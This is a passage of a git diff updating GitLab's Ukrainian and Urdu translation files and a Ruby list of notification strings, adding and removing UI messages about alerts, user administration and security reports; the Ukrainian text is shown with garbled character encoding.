-msgstr "Ви бачите лише %{startTag}іншу активніÑÑ‚ÑŒ%{endTag} в каналі. Ð”Ð»Ñ Ð´Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ ÐºÐ¾Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ñ, виберіть одну з наÑтупних опцій."
-
msgid "You're receiving this email because of your account on %{host}."
msgstr "Ви отримали цей електронний лиÑÑ‚, оÑкільки ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Ñ€Ð¾Ð·Ð¼Ñ–Ñ‰ÐµÐ½Ð¸Ð¹ на %{host}."
@@ -31209,6 +31900,9 @@ msgstr "Ви отримали цей електронний лиÑÑ‚ через
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr "Ви уже увімкнули двофакторну автентифікацію за допомогою автентифікаторів одноразових паролів. Ð”Ð»Ñ Ñ€ÐµÑ”Ñтрації іншого приÑтрою ви повинні Ñпочатку вимкнути двофакторну автентифікацію."
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr "YouTube"
@@ -31233,6 +31927,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr "Ваша адреÑа електронної пошти Ð´Ð»Ñ ÐºÐ¾Ð¼Ñ–Ñ‚Ñ–Ð² буде викориÑтовуватиÑÑ Ð´Ð»Ñ Ð±Ñ€Ð°ÑƒÐ·ÐµÑ€Ð½Ð¸Ñ… операцій, таких Ñк Ñ€ÐµÐ´Ð°Ð³ÑƒÐ²Ð°Ð½Ð½Ñ Ñ‚Ð° злиттÑ."
@@ -31245,6 +31942,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr "Ваші ключі GPG (%{count})"
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr "Ваша група GitLab"
@@ -31386,6 +32086,9 @@ msgstr "Ваші задачі імпортуютьÑÑ. ПіÑÐ»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐ
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr "Ваші задачі будуть імпортовані в фоні. ПіÑÐ»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð½Ñ Ð²Ð¸ отримаєте Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð¿Ð¾ електронній пошті із підтвердженнÑм."
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31434,6 +32137,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr "Ваш запит на Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð´Ð¾Ñтупу поÑтавлено в чергу Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸."
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31443,6 +32152,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "Термін дії вашої підпиÑки закінчивÑÑ!"
@@ -31452,6 +32164,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr "Zoom-зуÑтріч додано"
@@ -31624,14 +32339,11 @@ msgstr "%{reportType}: Ð—Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð¿Ñ€Ð¸Ð·Ð²ÐµÐ»Ð¾ до помил
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr "(помилки під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ñ–Ð²)"
-
-msgid "ciReport|(is loading)"
-msgstr "(завантажуєтьÑÑ)"
+msgid "ciReport|: Loading resulted in an error"
+msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
-msgstr "(завантажуєтьÑÑ, помилки під Ñ‡Ð°Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ñ–Ð²)"
+msgid "ciReport|API Fuzzing"
+msgstr ""
msgid "ciReport|All projects"
msgstr "Ð’ÑÑ– проєкти"
@@ -31799,6 +32511,12 @@ msgstr[3] "ВикориÑтовуєтьÑÑ %{packagesString} Ñ– %{lastPackage}"
msgid "ciReport|View full report"
msgstr "ПереглÑнути повний звіт"
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr "закрита задача"
@@ -31817,9 +32535,6 @@ msgstr "коміт %{commit_id}"
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr "з'єднаннÑ"
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31835,9 +32550,6 @@ msgstr "Ñтворено"
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr "налаштувати"
-
msgid "data"
msgstr "дані"
@@ -31878,9 +32590,6 @@ msgstr "не Ñ–Ñнує"
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr "не підтримує розширеннÑ. ПідтримуютьÑÑ Ð»Ð¸ÑˆÐµ %{extension_list}"
-msgid "done"
-msgstr "готово"
-
msgid "download it"
msgstr "завантажити це"
@@ -31973,6 +32682,9 @@ msgstr "Ð´Ð»Ñ %{ref}"
msgid "for this project"
msgstr "Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проєкту"
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr "зробити форк цього проєкту"
@@ -32001,6 +32713,9 @@ msgstr "було прив’Ñзано до іншої вразливоÑÑ‚Ñ–"
msgid "has already been taken"
msgstr "уже викориÑтовуєтьÑÑ"
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr "допомога"
@@ -32022,8 +32737,8 @@ msgstr ""
msgid "import flow"
msgstr "процедура імпорту"
-msgid "importing"
-msgstr "імпорт"
+msgid "in"
+msgstr ""
msgid "in group %{link_to_group}"
msgstr "в групі %{link_to_group}"
@@ -32555,6 +33270,9 @@ msgstr ""
msgid "no one can merge"
msgstr "ніхто не може виконати злиттÑ"
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr "немає"
@@ -32582,6 +33300,9 @@ msgstr "по плану"
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr "відкрито %{timeAgoString} %{user}"
@@ -32594,6 +33315,9 @@ msgstr "відкрито %{timeAgo}"
msgid "or"
msgstr "або"
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] "із %d теÑту"
@@ -32679,6 +33403,9 @@ msgstr "проєкт доÑтупний тільки Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ"
msgid "project members"
msgstr "учаÑники проєкту"
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr "проєкти"
@@ -32734,6 +33461,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr "помилка при Ñтворенні запиту на злиттÑ"
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr "Критичний"
@@ -32746,9 +33476,15 @@ msgstr "Інформаційний"
msgid "severity|Low"
msgstr "Ðизький"
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr "Середній"
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr "ВідÑутній"
@@ -32797,9 +33533,6 @@ msgstr "%{slash_command} оновлює Ñуму витраченого чаÑу
msgid "ssh:"
msgstr "ssh:"
-msgid "started"
-msgstr "розпочато"
-
msgid "started a discussion on %{design_link}"
msgstr "розпочато Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ %{design_link}"
@@ -32830,11 +33563,11 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
-msgstr "ÑинтакÑÐ¸Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»ÑŒÐ½Ð¸Ð¹"
+msgid "syntax is correct."
+msgstr ""
-msgid "syntax is incorrect"
-msgstr "ÑинтакÑÐ¸Ñ Ð½ÐµÐ¿Ñ€Ð°Ð²Ð¸Ð»ÑŒÐ½Ð¸Ð¹"
+msgid "syntax is incorrect."
+msgstr ""
msgid "tag name"
msgstr "назва тегу"
@@ -32842,6 +33575,9 @@ msgstr "назва тегу"
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32851,6 +33587,9 @@ msgstr "цей документ"
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "щоб допомогти вашим контриб’юторам ефективно ÑпілкуватиÑÑ!"
@@ -32923,6 +33662,13 @@ msgstr "переглÑнути бінарні дані"
msgid "view the source"
msgstr "переглÑнути вихідний код"
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "vulnerability|Add a comment"
msgstr "Додати коментар"
diff --git a/locale/unfound_translations.rb b/locale/unfound_translations.rb
index c76518b0f4f..76ad81cacc1 100644
--- a/locale/unfound_translations.rb
+++ b/locale/unfound_translations.rb
@@ -4,16 +4,20 @@
# https://github.com/grosser/gettext_i18n_rails#unfound-translations-with-rake-gettextfind
# NotificationSetting.email_events
+N_('NotificationEvent|New release')
N_('NotificationEvent|New note')
N_('NotificationEvent|New issue')
N_('NotificationEvent|Reopen issue')
N_('NotificationEvent|Close issue')
N_('NotificationEvent|Reassign issue')
+N_('NotificationEvent|Issue due')
N_('NotificationEvent|New merge request')
+N_('NotificationEvent|Push to merge request')
+N_('NotificationEvent|Reopen merge request')
N_('NotificationEvent|Close merge request')
N_('NotificationEvent|Reassign merge request')
+N_('NotificationEvent|Change reviewer merge request')
N_('NotificationEvent|Merge merge request')
N_('NotificationEvent|Failed pipeline')
N_('NotificationEvent|Fixed pipeline')
-N_('NotificationEvent|New release')
-N_('NotificationEvent|Change reviewer merge request')
+N_('NotificationEvent|Moved project')
diff --git a/locale/ur_PK/gitlab.po b/locale/ur_PK/gitlab.po
index f8eacf952c4..0b86b4abc33 100644
--- a/locale/ur_PK/gitlab.po
+++ b/locale/ur_PK/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ur-PK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:39\n"
+"PO-Revision-Date: 2020-12-03 08:08\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
